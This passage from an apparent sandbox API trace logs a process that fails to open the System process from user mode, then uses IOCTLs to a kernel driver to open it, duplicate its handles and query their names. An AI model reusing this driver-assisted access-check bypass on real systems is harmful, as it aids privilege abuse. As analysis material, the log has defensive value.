lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0063.087] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.087] PsAcquireProcessExitSynchronization () returned 0x0 [0063.087] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.088] ObReferenceObjectByHandle (in: Handle=0xffffffff80000424, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031f4990, HandleInformation=0x0) returned 0x0 [0063.088] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.088] PsReleaseProcessExitSynchronization () returned 0x2 [0063.088] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.088] ObQueryNameString (in: Object=0xfffffa80031f4990, ObjectNameInfo=0xfffffa8003840044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003840044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.088] ObfDereferenceObject (Object=0xfffffa80031f4990) returned 0x5 [0063.088] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.088] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.088] CloseHandle (hObject=0xc8) returned 1 [0063.088] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0063.088] GetLastError () returned 0x5 [0063.088] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335003c, lpInBuffer=0x12d400*, nInBufferSize=0x8, lpOutBuffer=0x12d408, nOutBufferSize=0x8, lpBytesReturned=0x12d390, lpOverlapped=0x0 | out: lpInBuffer=0x12d400*, lpOutBuffer=0x12d408*, lpBytesReturned=0x12d390*=0x8, lpOverlapped=0x0) returned 1 [0063.088] ZwOpenProcess (in: ProcessHandle=0xfffffa8002007ac0, DesiredAccess=0x10000000, ObjectAttributes=0xfffff880054f8688*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff880054f8678*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffffa8002007ac0*=0xc8) returned 0x0 [0063.088] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.088] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350014, lpInBuffer=0x12d430*, nInBufferSize=0x20, lpOutBuffer=0x12d470, nOutBufferSize=0x8, lpBytesReturned=0x12d3d0, lpOverlapped=0x0 | out: lpInBuffer=0x12d430*, lpOutBuffer=0x12d470*, lpBytesReturned=0x12d3d0*=0x8, lpOverlapped=0x0) returned 1 [0063.088] ZwOpenProcess (in: ProcessHandle=0xfffff880054f85f0, DesiredAccess=0x40, ObjectAttributes=0xfffff880054f8608*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff880054f85f8*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0xfffff880054f85f0*=0xffffffff80000954) returned 0x0 [0063.088] ZwDuplicateObject (in: SourceProcessHandle=0xffffffff80000954, SourceHandle=0x420, TargetProcessHandle=0xffffffffffffffff, TargetHandle=0xfffffa8002007ac0, DesiredAccess=0xfffff88010000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0xfffffa8002007ac0*=0xc0) returned 0x0 [0063.088] ZwClose (Handle=0xffffffff80000954) returned 0x0 [0063.088] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.088] CloseHandle (hObject=0xc8) returned 1 [0063.088] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0063.088] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x78) returned 0x18eb50 [0063.088] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x18eb50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x18eb50, ReturnLength=0x0) returned 0x0 [0063.088] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x18eb50 | out: hHeap=0x150000) returned 1 [0063.088] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.088] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0063.088] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.088] PsAcquireProcessExitSynchronization () returned 0x0 [0063.088] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.088] ObReferenceObjectByHandle (in: Handle=0xffffffff80000420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800dbffad0, HandleInformation=0x0) returned 0x0 [0063.089] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.089] PsReleaseProcessExitSynchronization () returned 0x2 [0063.089] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.089] ObQueryNameString (in: Object=0xfffffa800dbffad0, ObjectNameInfo=0xfffffa80038bd044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038bd044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.089] ObfDereferenceObject (Object=0xfffffa800dbffad0) returned 0x3 [0063.089] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.089] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.089] CloseHandle (hObject=0xc0) returned 1 [0063.089] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0063.089] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.089] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.089] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.089] PsAcquireProcessExitSynchronization () returned 0x0 [0063.089] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.089] ObReferenceObjectByHandle (in: Handle=0xffffffff8000004c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002af2460, HandleInformation=0x0) returned 0x0 [0063.089] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.089] PsReleaseProcessExitSynchronization () returned 0x2 [0063.089] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.089] ObQueryNameString (in: Object=0xfffffa8002af2460, ObjectNameInfo=0xfffffa8003796044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003796044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.089] ObfDereferenceObject (Object=0xfffffa8002af2460) returned 0x1 [0063.089] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.089] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.089] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.089] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.089] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.089] PsAcquireProcessExitSynchronization () returned 0x0 [0063.089] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.089] ObReferenceObjectByHandle (in: Handle=0xffffffff80000054, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002a567a0, HandleInformation=0x0) returned 0x0 [0063.090] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.090] PsReleaseProcessExitSynchronization () returned 0x2 [0063.090] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.090] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038d9044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038d9044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.090] ObfDereferenceObject (Object=0xfffffa8002a567a0) returned 0x1 [0063.090] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.090] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.090] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.090] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.090] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.090] PsAcquireProcessExitSynchronization () returned 0x0 [0063.090] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.090] ObReferenceObjectByHandle (in: Handle=0xffffffff80000060, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002c52f20, HandleInformation=0x0) returned 0x0 [0063.090] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.090] PsReleaseProcessExitSynchronization () returned 0x2 [0063.090] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.090] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038da044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038da044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.090] ObfDereferenceObject (Object=0xfffffa8002c52f20) returned 0x1 [0063.090] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.090] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.090] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.090] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.090] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.090] PsAcquireProcessExitSynchronization () returned 0x0 [0063.090] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.090] ObReferenceObjectByHandle (in: Handle=0xffffffff80000064, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002fc0050, HandleInformation=0x0) returned 0x0 [0063.090] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.090] PsReleaseProcessExitSynchronization () returned 0x2 [0063.090] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.090] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038db044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038db044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.090] ObfDereferenceObject (Object=0xfffffa8002fc0050) returned 0x1 [0063.090] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.090] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.090] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.090] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.091] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.091] PsAcquireProcessExitSynchronization () returned 0x0 [0063.091] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.091] ObReferenceObjectByHandle (in: Handle=0xffffffff80000068, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8004599f20, HandleInformation=0x0) returned 0x0 [0063.091] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.091] PsReleaseProcessExitSynchronization () returned 0x2 [0063.091] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.091] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038dc044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038dc044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.091] ObfDereferenceObject (Object=0xfffffa8004599f20) returned 0x1 [0063.091] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.091] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.091] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.091] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.091] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.091] PsAcquireProcessExitSynchronization () returned 0x0 [0063.091] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.091] ObReferenceObjectByHandle (in: Handle=0xffffffff8000006c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8005049050, HandleInformation=0x0) returned 0x0 [0063.091] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.091] PsReleaseProcessExitSynchronization () returned 0x2 [0063.091] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.091] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.091] ObfDereferenceObject (Object=0xfffffa8005049050) returned 0x1 [0063.091] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.091] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.091] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.091] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.091] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.091] PsAcquireProcessExitSynchronization () returned 0x0 [0063.091] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.091] ObReferenceObjectByHandle (in: Handle=0xffffffff80000070, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8005bfa050, HandleInformation=0x0) returned 0x0 [0063.091] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.091] PsReleaseProcessExitSynchronization () returned 0x2 [0063.091] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.091] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e4044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e4044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.091] ObfDereferenceObject (Object=0xfffffa8005bfa050) returned 0x1 [0063.092] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.092] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.092] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.092] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.092] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.092] PsAcquireProcessExitSynchronization () returned 0x0 [0063.092] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.092] ObReferenceObjectByHandle (in: Handle=0xffffffff80000074, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80053d87a0, HandleInformation=0x0) returned 0x0 [0063.092] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.092] PsReleaseProcessExitSynchronization () returned 0x2 [0063.092] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.092] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e5044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e5044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.092] ObfDereferenceObject (Object=0xfffffa80053d87a0) returned 0x1 [0063.092] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.092] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.092] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.092] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.092] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.092] PsAcquireProcessExitSynchronization () returned 0x0 [0063.092] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.092] ObReferenceObjectByHandle (in: Handle=0xffffffff80000078, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8005ffb1f0, HandleInformation=0x0) returned 0x0 [0063.092] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.092] PsReleaseProcessExitSynchronization () returned 0x2 [0063.092] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.092] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e6044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e6044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.092] ObfDereferenceObject (Object=0xfffffa8005ffb1f0) returned 0x1 [0063.092] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.092] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.092] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.092] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.092] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.092] PsAcquireProcessExitSynchronization () returned 0x0 [0063.092] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.092] ObReferenceObjectByHandle (in: Handle=0xffffffff8000007c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80067fbf20, HandleInformation=0x0) returned 0x0 [0063.093] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.093] PsReleaseProcessExitSynchronization () returned 0x2 [0063.093] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.093] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e7044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e7044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.093] ObfDereferenceObject (Object=0xfffffa80067fbf20) returned 0x1 [0063.093] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.093] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.093] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.093] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.093] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.093] PsAcquireProcessExitSynchronization () returned 0x0 [0063.093] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.093] ObReferenceObjectByHandle (in: Handle=0xffffffff80000080, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8005ffe470, HandleInformation=0x0) returned 0x0 [0063.093] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.093] PsReleaseProcessExitSynchronization () returned 0x2 [0063.093] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.093] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e8044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e8044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.093] ObfDereferenceObject (Object=0xfffffa8005ffe470) returned 0x1 [0063.093] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.093] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.093] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.093] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0063.093] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.093] PsAcquireProcessExitSynchronization () returned 0x0 [0063.093] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.093] ObReferenceObjectByHandle (in: Handle=0xffffffff80000084, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8010ff9f20, HandleInformation=0x0) returned 0x0 [0063.093] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.093] 